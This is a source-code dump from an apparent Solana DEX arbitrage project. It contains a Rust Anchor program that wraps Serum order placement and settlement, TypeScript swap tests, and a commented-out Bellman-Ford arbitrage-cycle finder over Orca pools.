| dex::new_order_v3( 208 | ctx, 209 | side.into(), 210 | NonZeroU64::new(limit_price).unwrap(), 211 | NonZeroU64::new(max_coin_qty).unwrap(), 212 | NonZeroU64::new(max_native_pc_qty).unwrap(), 213 | SelfTradeBehavior::DecrementTake, 214 | OrderType::ImmediateOrCancel, 215 | client_order_id, 216 | limit, 217 | ) 218 | } 219 | 220 | fn settle(&self, referral: Option>) -> Result<()> { 221 | let settle_accs = dex::SettleFunds { 222 | market: self.market.market.clone(), 223 | open_orders: self.market.open_orders.clone(), 224 | open_orders_authority: self.authority.clone(), 225 | coin_vault: self.market.coin_vault.clone(), 226 | pc_vault: self.market.pc_vault.clone(), 227 | coin_wallet: self.market.coin_wallet.to_account_info().clone(), 228 | pc_wallet: self.pc_wallet.clone(), 229 | vault_signer: self.market.vault_signer.clone(), 230 | token_program: self.token_program.clone(), 231 | }; 232 | let mut ctx = CpiContext::new(self.dex_program.clone(), settle_accs); 233 | if let Some(referral) = referral { 234 | ctx = ctx.with_remaining_accounts(vec![referral]); 235 | } 236 | dex::settle_funds(ctx) 237 | } 238 | } 239 | 240 | impl<'info> From> for dex::NewOrderV3<'info> { 241 | fn from(c: OrderbookClient<'info>) -> dex::NewOrderV3<'info> { 242 | dex::NewOrderV3 { 243 | market: c.market.market.clone(), 244 | open_orders: c.market.open_orders.clone(), 245 | request_queue: c.market.request_queue.clone(), 246 | event_queue: c.market.event_queue.clone(), 247 | market_bids: c.market.bids.clone(), 248 | market_asks: c.market.asks.clone(), 249 | order_payer_token_account: c.market.order_payer_token_account.clone(), 250 | open_orders_authority: c.authority.clone(), 251 | coin_vault: c.market.coin_vault.clone(), 252 | pc_vault: c.market.pc_vault.clone(), 253 | token_program: c.token_program.clone(), 254 | rent: c.rent.clone(), 255 | } 256 | } 257 | } 258 | 259 | // Returns the amount of lots for the base currency of a trade with `size`. 260 | fn coin_lots(market: &MarketState, size: u64) -> u64 { 261 | size.checked_div(market.coin_lot_size).unwrap() 262 | } 263 | 264 | // Market accounts are the accounts used to place orders against the dex minus 265 | // common accounts, i.e., program ids, sysvars, and the `pc_wallet`. 266 | #[derive(Accounts, Clone)] 267 | pub struct MarketAccounts<'info> { 268 | #[account(mut)] 269 | pub market: AccountInfo<'info>, 270 | #[account(mut)] 271 | pub open_orders: AccountInfo<'info>, 272 | #[account(mut)] 273 | pub request_queue: AccountInfo<'info>, 274 | #[account(mut)] 275 | pub event_queue: AccountInfo<'info>, 276 | #[account(mut)] 277 | pub bids: AccountInfo<'info>, 278 | #[account(mut)] 279 | pub asks: AccountInfo<'info>, 280 | // The `spl_token::Account` that funds will be taken from, i.e., transferred 281 | // from the user into the market's vault. 282 | // 283 | // For bids, this is the base currency. For asks, the quote. 284 | #[account(mut)] 285 | pub order_payer_token_account: AccountInfo<'info>, 286 | // Also known as the "base" currency. For a given A/B market, 287 | // this is the vault for the A mint. 288 | #[account(mut)] 289 | pub coin_vault: AccountInfo<'info>, 290 | // Also known as the "quote" currency. For a given A/B market, 291 | // this is the vault for the B mint. 292 | #[account(mut)] 293 | pub pc_vault: AccountInfo<'info>, 294 | // PDA owner of the DEX's token accounts for base + quote currencies. 295 | pub vault_signer: AccountInfo<'info>, 296 | // User wallets. 297 | #[account(mut)] 298 | pub coin_wallet: Account<'info, TokenAccount>, // !! 299 | } 300 | 301 | #[derive(AnchorSerialize, AnchorDeserialize)] 302 | pub enum Side { 303 | Bid, 304 | Ask, 305 | } 306 | 307 | impl From for SerumSide { 308 | fn from(side: Side) -> SerumSide { 309 | match side { 310 | Side::Bid => SerumSide::Bid, 311 | Side::Ask => SerumSide::Ask, 312 | } 313 | } 314 | } 315 | 316 | // Event emitted when a swap occurs for two base currencies on two different 317 | // markets (quoted in the same token). 318 | #[event] 319 | pub struct DidSwap { 320 | // User given (max) amount of the "from" token to swap. 321 | pub given_amount: u64, 322 | // The minimum exchange rate for swapping `from_amount` to `to_amount` in 323 | // native units with decimals equal to the `to_amount`'s mint--specified 324 | // by the client. 325 | pub min_exchange_rate: ExchangeRate, 326 | // Amount of the `from` token sold. 327 | pub from_amount: u64, 328 | // Amount of the `to` token purchased. 329 | pub to_amount: u64, 330 | // The amount of the quote currency used for a *transitive* swap. This is 331 | // the amount *received* for selling on the first leg of the swap. 332 | pub quote_amount: u64, 333 | // Amount of the quote currency accumulated from a *transitive* swap, i.e., 334 | // the difference between the amount gained from the first leg of the swap 335 | // (to sell) and the amount used in the second leg of the swap (to buy). 336 | pub spill_amount: u64, 337 | // Mint sold. 338 | pub from_mint: Pubkey, 339 | // Mint purchased. 340 | pub to_mint: Pubkey, 341 | // Mint of the token used as the quote currency in the two markets used 342 | // for swapping. 343 | pub quote_mint: Pubkey, 344 | // User that signed the transaction. 345 | pub authority: Pubkey, 346 | } 347 | 348 | // An exchange rate for swapping *from* one token *to* another. 349 | #[derive(AnchorSerialize, AnchorDeserialize)] 350 | pub struct ExchangeRate { 351 | // The amount of *to* tokens one should receive for a single *from token. 352 | // This number must be in native *to* units with the same amount of decimals 353 | // as the *to* mint. 354 | pub rate: u64, 355 | // Number of decimals of the *from* token's mint. 356 | pub from_decimals: u8, 357 | // Number of decimals of the *to* token's mint. 358 | // For a direct swap, this should be zero. 359 | pub quote_decimals: u8, 360 | // True if *all* of the *from* currency sold should be used when calculating 361 | // the executed exchange rate. 362 | // 363 | // To perform a transitive swap, one sells on one market and buys on 364 | // another, where both markets are quoted in the same currency. Now suppose 365 | // one swaps A for B across A/USDC and B/USDC. Further suppose the first 366 | // leg swaps the entire *from* amount A for USDC, and then only half of 367 | // the USDC is used to swap for B on the second leg. How should we calculate 368 | // the exchange rate? 369 | // 370 | // If strict is true, then the exchange rate will be calculated as a direct 371 | // function of the A tokens lost and B tokens gained, ignoring the surplus 372 | // in USDC received. If strict is false, an effective exchange rate will be 373 | // used. I.e. the surplus in USDC will be marked at the exchange rate from 374 | // the second leg of the swap and that amount will be added to the 375 | // *to* mint received before calculating the swap's exchange rate. 376 | // 377 | // Transitive swaps only. For direct swaps, this field is ignored. 378 | pub strict: bool, 379 | } 380 | 381 | #[error_code] 382 | pub enum SerumErrorCode { 383 | #[msg("The tokens being swapped must have different mints")] 384 | SwapTokensCannotMatch, 385 | #[msg("Slippage tolerance exceeded")] 386 | SlippageExceeded, 387 | #[msg("No tokens received when swapping")] 388 | ZeroSwap, 389 | } 390 | -------------------------------------------------------------------------------- /src/tests/index.ts: -------------------------------------------------------------------------------- 1 | import { Program } from '@project-serum/anchor'; 2 | import { Tmp } from '../target/types/tmp'; 3 | 4 | import * as anchor from "@project-serum/anchor"; 5 | import { assert } from "chai"; 6 | import * as web3 from "@solana/web3.js"; 7 | import * as token from "@solana/spl-token"; 8 | 9 | const fs = require("fs"); 10 | 11 | // import { decode_poolparams, decode_pool_base, deriveAssociatedTokenAddress, get_balance } from './utils'; 12 | const ORCA_TOKENSWAP_PID = new web3.PublicKey( 13 | '9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP' 14 | ); 15 | const MERCURIAL_PID = new web3.PublicKey( 16 | 'MERLuDFBMmsHnsBPZw2sDQZHvXFMwp8EdjudcU2HKky' 17 | ); 18 | 19 | describe("tmp", () => { 20 | let provider = anchor.Provider.env(); 21 | let connection = provider.connection; 22 | 23 | web3.LAMPORTS_PER_SOL 24 | 25 | anchor.setProvider(provider); 26 | const program = anchor.workspace.Tmp as Program; 27 | 28 | let rawdata = fs.readFileSync(`../mainnet-fork/localnet_owner.key`, 'utf8'); 29 | let owner_secret = new Uint8Array(JSON.parse(rawdata)); 30 | let wallet = web3.Keypair.fromSecretKey(owner_secret); 31 | 32 | it("gets some WSOL", async () => { 33 | // WSOL ATA 34 | let src_token_account = (await web3.PublicKey.findProgramAddress( 35 | [wallet.publicKey.toBuffer(), token.TOKEN_PROGRAM_ID.toBuffer(), token.NATIVE_MINT.toBuffer()], 36 | token.ASSOCIATED_TOKEN_PROGRAM_ID 37 | ))[0]; 38 | 39 | let amount_in = 1 * web3.LAMPORTS_PER_SOL; 40 | // go SOL -> WSOL 41 | let ixs = [ 42 | web3.SystemProgram.transfer({ 43 | fromPubkey: wallet.publicKey, 44 | toPubkey: src_token_account, 45 | lamports: amount_in, 46 | }), 47 | // @ts-ignore 48 | token.createSyncNativeInstruction(src_token_account) 49 | ] 50 | const recentBlockHash = (await connection.getRecentBlockhash("singleGossip")).blockhash; 51 | const txFields: web3.TransactionCtorFields = { 52 | recentBlockhash: recentBlockHash, 53 | feePayer: wallet.publicKey, 54 | }; 55 | let tx = new web3.Transaction(txFields); 56 | tx = tx.add(...ixs); 57 | 58 | let amount0 = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmount 59 | if (amount0 < 0.1) { 60 | await web3.sendAndConfirmTransaction(connection, tx, [wallet]) 61 | let amount1 = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmount 62 | 63 | console.log(amount0, amount1) 64 | assert(amount1 > amount0); 65 | } else { 66 | console.log("already has WSOL:", amount0); 67 | } 68 | }); 69 | 70 | it("sets up the info pda", async () => { 71 | const [state_pda, sb] = await anchor.web3.PublicKey.findProgramAddress( 72 | [Buffer.from("swap_state")], 73 | program.programId 74 | ); 75 | console.log("pda:", state_pda.toString()) 76 | let info = await connection.getAccountInfo(state_pda); 77 | if (info == null) { 78 | console.log("initializing pda...") 79 | await program.rpc.initProgram({ 80 | accounts: { 81 | swapState: state_pda, 82 | payer: provider.wallet.publicKey, 83 | systemProgram: web3.SystemProgram.programId, 84 | } 85 | }); 86 | } else { 87 | console.log("pda already initialized...") 88 | } 89 | }) 90 | 91 | return; 92 | 93 | // NOTE: the rest (pool-specific swap instructions) are tested using rust code 94 | 95 | // ---- graveyard of dead code ---- 96 | // r.i.p 97 | // long live rust code 98 | 99 | // it("does an orca swap", async () => { 100 | // const [information_pda, sb] = await anchor.web3.PublicKey.findProgramAddress( 101 | // [Buffer.from("information")], 102 | // program.programId 103 | // ); 104 | // let pool_path = "../orca_pools/mainnet_pools/pools/params_SOL_USDC.json"; 105 | // let pool_params = decode_poolparams(pool_path) 106 | 107 | // let amount_in = 0.1 * web3.LAMPORTS_PER_SOL; 108 | 109 | // let input_token = pool_params.tokens["So11111111111111111111111111111111111111112"] 110 | // let output_token = pool_params.tokens["EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v"] 111 | 112 | // let src_token_account = (await web3.PublicKey.findProgramAddress( 113 | // [wallet.publicKey.toBuffer(), token.TOKEN_PROGRAM_ID.toBuffer(), input_token.mint.toBuffer()], 114 | // token.ASSOCIATED_TOKEN_PROGRAM_ID 115 | // ))[0]; 116 | // let dst_token_account = (await web3.PublicKey.findProgramAddress( 117 | // [wallet.publicKey.toBuffer(), token.TOKEN_PROGRAM_ID.toBuffer(), output_token.mint.toBuffer()], 118 | // token.ASSOCIATED_TOKEN_PROGRAM_ID 119 | // ))[0]; 120 | 121 | // await program.rpc.startSwap(new anchor.BN(amount_in), { 122 | // accounts: { 123 | // information: information_pda 124 | // } 125 | // }); 126 | 127 | // let tokenSwap = pool_params['address']; 128 | // let userTransferAuthority = wallet.publicKey; 129 | // let poolSource = input_token['addr']; 130 | // let poolDestination = output_token['addr']; 131 | // let poolMint = pool_params['poolTokenMint']; 132 | // let feeAccount = pool_params['feeAccount']; 133 | // let swapProgramId = ORCA_TOKENSWAP_PID; 134 | // let tokenProgramId = token.TOKEN_PROGRAM_ID; 135 | // const [authority, _] = await web3.PublicKey.findProgramAddress( 136 | // [tokenSwap.toBuffer()], 137 | // ORCA_TOKENSWAP_PID 138 | // ); 139 | 140 | // let b0_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmountString; 141 | // let b0_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmountString; 142 | 143 | // await program.rpc.orcaSwap({ 144 | // accounts: { 145 | // tokenSwap: tokenSwap, 146 | // authority: authority, 147 | // userTransferAuthority: userTransferAuthority, 148 | // userSrc: src_token_account, 149 | // poolSrc: poolSource, 150 | // userDst: dst_token_account, 151 | // poolDst: poolDestination, 152 | // poolMint: poolMint, 153 | // feeAccount: feeAccount, 154 | // tokenProgram: tokenProgramId, 155 | // tokenSwapProgram: swapProgramId, 156 | // information: information_pda, 157 | // }, 158 | // signers: [wallet] 159 | // }); 160 | 161 | // let b1_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmountString; 162 | // let b1_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmountString; 163 | 164 | // console.log(b0_src, b1_src) 165 | // console.log(b0_dst, b1_dst) 166 | 167 | // assert(b0_src > b1_src); // out 168 | // assert(b1_dst > b0_dst); // in 169 | // }); 170 | 171 | 172 | // it("does an saber swap", async () => { 173 | // const [information_pda, sb] = await anchor.web3.PublicKey.findProgramAddress( 174 | // [Buffer.from("information")], 175 | // program.programId 176 | // ); 177 | // let pool_path = "../saber_sdk/pools/4EFeyTtMZZnAv3ZPs2jvps1T1J1JykbpyizrWjBQcA1S_saber_pool.json"; 178 | // let pool_params = decode_pool_base(pool_path) 179 | 180 | // let amount_in = 0.1 * web3.LAMPORTS_PER_SOL; 181 | 182 | // let input_token = pool_params['token_ids'][0]; 183 | // let output_token = pool_params['token_ids'][1]; 184 | 185 | // let in_mint = pool_params['tokens'][input_token]["mint"] 186 | // let out_mint = pool_params['tokens'][output_token]["mint"] 187 | 188 | // let src_token_account = (await web3.PublicKey.findProgramAddress( 189 | // [wallet.publicKey.toBuffer(), token.TOKEN_PROGRAM_ID.toBuffer(), in_mint.toBuffer()], 190 | // token.ASSOCIATED_TOKEN_PROGRAM_ID 191 | // ))[0]; 192 | // let dst_token_account = (await web3.PublicKey.findProgramAddress( 193 | // [wallet.publicKey.toBuffer(), token.TOKEN_PROGRAM_ID.toBuffer(), out_mint.toBuffer()], 194 | // token.ASSOCIATED_TOKEN_PROGRAM_ID 195 | // ))[0]; 196 | 197 | // await program.rpc.startSwap(new anchor.BN(amount_in), { 198 | // accounts: { 199 | // information: information_pda 200 | // } 201 | // }); 202 | 203 | // const SWAP_PROGRAM_ID = new web3.PublicKey("SSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ"); 204 | 205 | // let b0_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmountString; 206 | // let b0_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmountString; 207 | 208 | // await program.rpc.saberSwap({ 209 | // accounts: { 210 | // poolAccount: pool_params["pool_account"], 211 | // authority: pool_params['authority'], 212 | // userTransferAuthority: wallet.publicKey, 213 | // userSrc: src_token_account, 214 | // userDst: dst_token_account, 215 | // poolSrc: pool_params['tokens'][input_token]["addr"], 216 | // poolDst: pool_params['tokens'][output_token]["addr"], 217 | // feeDst: pool_params["fee_accounts"][output_token], 218 | // saberSwapProgram: SWAP_PROGRAM_ID, 219 | // information: information_pda, 220 | // tokenProgram: token.TOKEN_PROGRAM_ID, 221 | // }, 222 | // signers: [wallet] 223 | // }); 224 | 225 | // let b1_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmountString; 226 | // let b1_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmountString; 227 | 228 | // console.log("src balance:", b0_src, "->", b1_src) 229 | // console.log("dst balance:", b0_dst, "->", b1_dst) 230 | 231 | // assert(b0_src > b1_src); // out 232 | // assert(b1_dst > b0_dst); // in 233 | 234 | // }); 235 | 236 | // it("does a round-trip mercurial swap", async () => { 237 | // const [information_pda, sb] = await anchor.web3.PublicKey.findProgramAddress( 238 | // [Buffer.from("information")], 239 | // program.programId 240 | // ); 241 | 242 | // // rando pool 243 | // const POOL_ACCOUNT = new web3.PublicKey("MAR1zHjHaQcniE2gXsDptkyKUnNfMEsLBVcfP7vLyv7"); 244 | // let stableSwapNPool = await StableSwapNPool.load(connection, POOL_ACCOUNT, wallet.publicKey) 245 | 246 | // // WSOL ATA & mSOL ATA 247 | // let src_token_account = new web3.PublicKey("3armvRWvS8Xhiz1Xe3WGwPnVACYPVXpDzfr7wqfnvYNt"); 248 | // let dst_token_account = new web3.PublicKey("23fSTDw6TcR1jdAjKHfFr3s2rRAVefs6QY4oNjHGWYnw"); 249 | 250 | // let amount_in = 0.1 * web3.LAMPORTS_PER_SOL; 251 | 252 | // var amount0_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmount 253 | // var amount0_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmount 254 | 255 | // await program.rpc.startSwap(new anchor.BN(amount_in), { 256 | // accounts: { 257 | // information: information_pda 258 | // } 259 | // }); 260 | 261 | // await program.rpc.mercurialSwap({ 262 | // accounts: { 263 | // poolAccount: stableSwapNPool.poolAccount, 264 | // authority: stableSwapNPool.authority, 265 | // userTransferAuthority: wallet.publicKey, 266 | // userSrc: src_token_account, 267 | // userDst: dst_token_account, 268 | // poolSrc: stableSwapNPool.tokenAccounts[0], 269 | // poolDst: stableSwapNPool.tokenAccounts[1], 270 | // tokenProgram: token.TOKEN_PROGRAM_ID, 271 | // mercurialSwapProgram: MERCURIAL_PID, 272 | // information: information_pda, 273 | // }, 274 | // signers: [wallet] 275 | // }); 276 | 277 | // var amount1_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmount 278 | // var amount1_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmount 279 | 280 | // console.log("A -> B") 281 | // console.log("src:", amount0_src, amount1_src) 282 | // console.log("dst:", amount0_dst, amount1_dst) 283 | 284 | // // swap?! 285 | // assert(amount0_src > amount1_src) 286 | // assert(amount0_dst < amount1_dst) 287 | 288 | // // swap back! -- amount out of prev trade will already be recorded in PDA 289 | // var amount0_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmount 290 | // var amount0_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmount 291 | // await program.rpc.mercurialSwap({ 292 | // accounts: { 293 | // poolAccount: stableSwapNPool.poolAccount, 294 | // authority: stableSwapNPool.authority, 295 | // userTransferAuthority: wallet.publicKey, 296 | // userSrc: dst_token_account, // only change these? yes. 297 | // userDst: src_token_account, // only change these? yes. 298 | // poolSrc: stableSwapNPool.tokenAccounts[0], 299 | // poolDst: stableSwapNPool.tokenAccounts[1], 300 | // tokenProgram: token.TOKEN_PROGRAM_ID, 301 | // mercurialSwapProgram: MERCURIAL_PID, 302 | // information: information_pda, 303 | // }, 304 | // signers: [wallet] 305 | // }); 306 | // var amount1_src = (await connection.getTokenAccountBalance(src_token_account)).value.uiAmount 307 | // var amount1_dst = (await connection.getTokenAccountBalance(dst_token_account)).value.uiAmount 308 | 309 | // console.log("B -> A") 310 | // console.log("src:", amount0_src, amount1_src) 311 | // console.log("dst:", amount0_dst, amount1_dst) 312 | 313 | // assert(amount0_src < amount1_src) 314 | // assert(amount0_dst > amount1_dst) 315 | // }) 316 | 317 | }); 318 | -------------------------------------------------------------------------------- /src/tests/orca_arbs.ts: -------------------------------------------------------------------------------- 1 | // import { Program } from '@project-serum/anchor'; 2 | // import { Tmp } from '../target/types/tmp'; 3 | 4 | // import * as web3 from '@solana/web3.js'; 5 | // import * as anchor from '@project-serum/anchor'; 6 | // import * as fs from 'fs'; 7 | // import { TOKEN_PROGRAM_ID } from "@solana/spl-token"; 8 | // import BN from 'bn.js'; 9 | // import { decode_poolparams, deriveAssociatedTokenAddress, get_balance } from './utils'; 10 | // import Decimal from "decimal.js"; 11 | 12 | // import * as orca_root from '../../orca_pools/typescript-sdk/src'; 13 | // import { Owner } from '../../orca_pools/typescript-sdk/src/public/utils/web3/key-utils'; 14 | // import { OrcaPoolParams } from '../../orca_pools/typescript-sdk/src/model/orca/pool/pool-types'; 15 | 16 | // const ORCA_TOKENSWAP_ID = new web3.PublicKey( 17 | // '8qEj6WU2gSGUHZdRTxSFUuYpU49BtfoQDfnZA6RWTEph' 18 | // ); 19 | 20 | // async function pool_swap_ix( 21 | // program:Program, 22 | // owner:web3.Keypair, 23 | // pool_params, 24 | // zero_2_one:boolean 25 | // ): Promise { 26 | 27 | // var token0 = pool_params['tokens'][pool_params['tokenIds'][0]]; 28 | // var token1 = pool_params['tokens'][pool_params['tokenIds'][1]]; 29 | 30 | // var inputToken = zero_2_one ? token0 : token1; 31 | // var outputToken = zero_2_one ? token1 : token0; 32 | // console.log(`setting up swap for ... ${inputToken['tag']} -> ${outputToken['tag']}`) 33 | 34 | // let tokenSwap = pool_params['address']; 35 | // let userTransferAuthority = owner.publicKey; 36 | // let poolSource = inputToken['addr']; 37 | // let poolDestination = outputToken['addr']; 38 | // let poolMint = pool_params['poolTokenMint']; 39 | // let feeAccount = pool_params['feeAccount']; 40 | // let swapProgramId = ORCA_TOKENSWAP_ID; 41 | // let tokenProgramId = TOKEN_PROGRAM_ID; 42 | 43 | // const [authorityForPoolAddress, _] = await web3.PublicKey.findProgramAddress( 44 | // [tokenSwap.toBuffer()], 45 | // ORCA_TOKENSWAP_ID 46 | // ); 47 | // let authority = authorityForPoolAddress; 48 | 49 | // let accountA = await deriveAssociatedTokenAddress( 50 | // owner.publicKey, 51 | // inputToken['mint'] 52 | // ) 53 | // let accountB = await deriveAssociatedTokenAddress( 54 | // owner.publicKey, 55 | // outputToken['mint'] 56 | // ) 57 | // let userSource = accountA; 58 | // let userDestination = accountB; 59 | 60 | // const [information_pda, sb] = await anchor.web3.PublicKey.findProgramAddress( 61 | // [Buffer.from("information")], 62 | // program.programId 63 | // ); 64 | 65 | // // A -> B 66 | // const ix = program.instruction.orcaSwap({ 67 | // accounts: { 68 | // tokenSwap: tokenSwap, 69 | // authority: authority, 70 | // userTransferAuthority: userTransferAuthority, 71 | // userSrc: userSource, 72 | // poolSrc: poolSource, 73 | // userDst: userDestination, 74 | // poolDst: poolDestination, 75 | // poolMint: poolMint, 76 | // feeAccount: feeAccount, 77 | // tokenProgram: tokenProgramId, 78 | // tokenSwapProgram: swapProgramId, 79 | // information: information_pda, 80 | // }, 81 | // signers: [owner], 82 | // }); 83 | 84 | // return [ix] 85 | // } 86 | 87 | // describe('tmp', async () => { 88 | 89 | // // Configure the client to use the local cluster. 90 | // const provider = anchor.Provider.env(); 91 | // const connection = provider.connection; 92 | // anchor.setProvider(provider); 93 | 94 | // const program = anchor.workspace.Tmp as Program; 95 | 96 | // // load the owner of the tokens 97 | // let rawdata = fs.readFileSync( 98 | // `/Users/brennan/Documents/workspace/solana/orca_local/env/pools/owner.key`, 99 | // 'utf8' 100 | // ); 101 | // let owner_secret = new Uint8Array(JSON.parse(rawdata)); 102 | // let owner = web3.Keypair.fromSecretKey(owner_secret); 103 | 104 | // // setup PDAs 105 | // const [information_pda, sb] = await anchor.web3.PublicKey.findProgramAddress( 106 | // [Buffer.from("information")], 107 | // program.programId 108 | // ); 109 | 110 | // let info = await connection.getAccountInfo(information_pda); 111 | 112 | // if (info == null) { 113 | // var init_tx = await program.rpc.initProgram({ 114 | // accounts: { 115 | // information: information_pda, 116 | // payer: provider.wallet.publicKey, 117 | // systemProgram: web3.SystemProgram.programId 118 | // }, 119 | // }) 120 | // console.log('init pda...', init_tx); 121 | // } else { 122 | // console.log('pda already initialized...'); 123 | // } 124 | 125 | // const orca = orca_root.getOrca(connection, ORCA_TOKENSWAP_ID) 126 | 127 | // // load the pool info for the swap 128 | // var pool_path = '/Users/brennan/Documents/workspace/solana/orca_local/env/pools/params_AB.json' 129 | // const AB_pool_params = decode_poolparams(pool_path) 130 | // var pool_path = '/Users/brennan/Documents/workspace/solana/orca_local/env/pools/params_BC.json' 131 | // const BC_pool_params = decode_poolparams(pool_path) 132 | // var pool_path = '/Users/brennan/Documents/workspace/solana/orca_local/env/pools/params_CA.json' 133 | // const CA_pool_params = decode_poolparams(pool_path) 134 | 135 | // const pools = [ 136 | // AB_pool_params, 137 | // BC_pool_params, 138 | // CA_pool_params, 139 | // ] 140 | // let name2token = {} 141 | 142 | // for (let pool of pools) { 143 | // var token0 = pool['tokens'][pool['tokenIds'][0]]; 144 | // name2token[token0.name] = token0 145 | 146 | // var token1 = pool['tokens'][pool['tokenIds'][1]]; 147 | // name2token[token1.name] = token1 148 | // } 149 | // let tokenA = name2token['A'] 150 | // let tokenB = name2token['B'] 151 | // let tokenC = name2token['C'] 152 | 153 | // let accountA = await deriveAssociatedTokenAddress( 154 | // owner.publicKey, 155 | // tokenA['mint'] 156 | // ) 157 | // let accountB = await deriveAssociatedTokenAddress( 158 | // owner.publicKey, 159 | // tokenB['mint'] 160 | // ) 161 | // let accountC = await deriveAssociatedTokenAddress( 162 | // owner.publicKey, 163 | // tokenC['mint'] 164 | // ) 165 | // // //8HQpT4EnjPWMxsqJozAUC5GukwyPTngm14gcufozaPTG 166 | // // //9BKLeyHiS942NdfBcFWE3XAkenRybgqoYXE12GghYEh3 167 | // // console.log(accountA.toString(), accountB.toString()) 168 | 169 | // let token2pool: { [id: string] : orca_root.OrcaPool; } = {} 170 | // let token2poolparams: { [id: string] : OrcaPoolParams; } = {} 171 | // let tokens: orca_root.OrcaPoolToken[] = [] 172 | // let token_names: string[] = [] 173 | 174 | // for (let pool_params of pools) { 175 | // const pool = orca.getPool(pool_params); 176 | // let tokenA = pool.getTokenA(); 177 | // let tokenB = pool.getTokenB(); 178 | 179 | // // track the tokens 180 | // if (!token_names.includes(tokenA.name)) { 181 | // tokens.push(tokenA) 182 | // token_names.push(tokenA.name) 183 | // } 184 | // if (!token_names.includes(tokenB.name)) { 185 | // tokens.push(tokenB) 186 | // token_names.push(tokenB.name) 187 | // } 188 | // // track the tokens -> pools 189 | // let id = tokenA.name + tokenB.name; 190 | // token2pool[id] = pool; 191 | // token2poolparams[id] = pool_params; 192 | // } 193 | // const n_tokens = tokens.length; 194 | // console.log(tokens.map(t => t.name)) 195 | 196 | // // const pool = orca.getPool(AB_pool_params); 197 | // // let quote: orca_root.Quote = await pool.getQuote(pool.getTokenA(), new Decimal(100)); 198 | // // v = quote.getExpectedOutputAmount().toNumber(); 199 | // // console.log(`Swap 1 ${pool.getTokenA().tag} for ${v} ${pool.getTokenB().tag}`); 200 | 201 | // // create a graph of the pools 202 | // let graph = [] 203 | // for (let i = 0; i < n_tokens; i++) { 204 | // let row = [] 205 | // for (let j = 0; j < n_tokens; j++) { 206 | // row.push(0) 207 | // } 208 | // graph.push(row) 209 | // } 210 | 211 | // // fill in the graph with exchange rates 212 | // var i = 0 213 | // for (i = 0; i < n_tokens; i++) { 214 | // for (let j = i; j < n_tokens; j++) { 215 | // if (i == j) { 216 | // graph[i][j] = 1 217 | // } else { 218 | // let tokenA: orca_root.OrcaToken = tokens[i] 219 | // let tokenB: orca_root.OrcaToken = tokens[j] 220 | 221 | // var id = tokenA.name + tokenB.name; 222 | // if (!(id in token2pool)) { 223 | // id = tokenB.name + tokenA.name; 224 | // } 225 | 226 | // var v; 227 | // if (!(id in token2pool)) { 228 | // // invalid pool / cannot swap / no edge 229 | // graph[i][j] = 0 // will be Infinity 230 | // graph[j][i] = 0 // will be Infinity when -log(0) 231 | // console.log(`No Pool For ${tokenA.tag} and ${tokenB.tag}`); 232 | // } else { 233 | // // assumes balance = 1 234 | // // need to find optimal balance for swaps for there still to be 235 | // // a negative weight cycle -- but for every possible pool? 236 | // let pool: orca_root.OrcaPool = token2pool[id]; 237 | // let quote: orca_root.Quote = await pool.getQuote(tokenA, new Decimal(1)); 238 | // // v = quote.getMinOutputAmount().toNumber(); 239 | // v = quote.getExpectedOutputAmount().toNumber(); 240 | // console.log(`Swap 1 ${tokenA.tag} for ${v} ${tokenB.tag}`); 241 | // graph[i][j] = v 242 | // graph[j][i] = 1/v 243 | // } 244 | // } 245 | // } 246 | // } 247 | 248 | // // neglog 249 | // i = 0; 250 | // var j = 0; 251 | // for (i = 0; i < n_tokens; i++) { 252 | // for (j = 0; j < n_tokens; j++) { 253 | // graph[i][j] = -Math.log(graph[i][j]) 254 | // } 255 | // } 256 | 257 | // // bellman-ford algo 258 | // let n = n_tokens; 259 | // let dist = [] 260 | // let prev = [] 261 | // for (i=0; i < n; i++) { 262 | // dist.push(Infinity) 263 | // prev.push(-1) 264 | // } 265 | // dist[0] = 0 // distance from starting node 266 | 267 | // var count; 268 | // for (count=0; count < n - 1; count++) { 269 | // for (i=0; i < n; i++) { 270 | // for (j=0; j < n; j++) { 271 | // var score = 0; 272 | // score = dist[i] + graph[i][j]; 273 | // if (score < dist[j]) { 274 | // dist[j] = score 275 | // prev[j] = i 276 | // } 277 | // } 278 | // } 279 | // } 280 | 281 | // let arb_paths = [] 282 | // for (i=0; i < n; i++) { 283 | // for (j=0; j < n; j++) { 284 | // var score = 0; 285 | // score = dist[i] + graph[i][j]; 286 | // if (score < dist[j]) { 287 | // let cycle = [j, i]; 288 | 289 | // let k = i 290 | // while (!cycle.includes(prev[k])) { 291 | // cycle.push(prev[k]) 292 | // k = prev[k] 293 | // } 294 | // cycle.push(prev[k]) 295 | // cycle = cycle.reverse() 296 | 297 | // // only care about negative cycles which start and finish 298 | // // at the same node 299 | // if (cycle[0] == cycle[cycle.length-1]) { 300 | // console.log('--- FOUND ARB! ---') 301 | // cycle.forEach(idx => { 302 | // console.log('\t ->', tokens[idx].name) 303 | // }) 304 | // arb_paths.push(cycle) 305 | // } 306 | // } 307 | // } 308 | // } 309 | // console.log(arb_paths); // [[1, 2, 0, 1], [2, 1, 2]] 310 | 311 | // // EARLY EXIT IF NO ARBS FOUND 312 | // if (arb_paths.length == 0) return [] 313 | 314 | // // find the BEST arb path 315 | // let max_balance = -Infinity 316 | // let max_balance_idx = -1 317 | // for (let j=0; j < arb_paths.length; j++) { 318 | // let arb_path = arb_paths[j]; 319 | // balance = 1 320 | // for (i=0; i < arb_path.length-1; i++) { 321 | // var token0_idx = arb_path[i]; 322 | // var 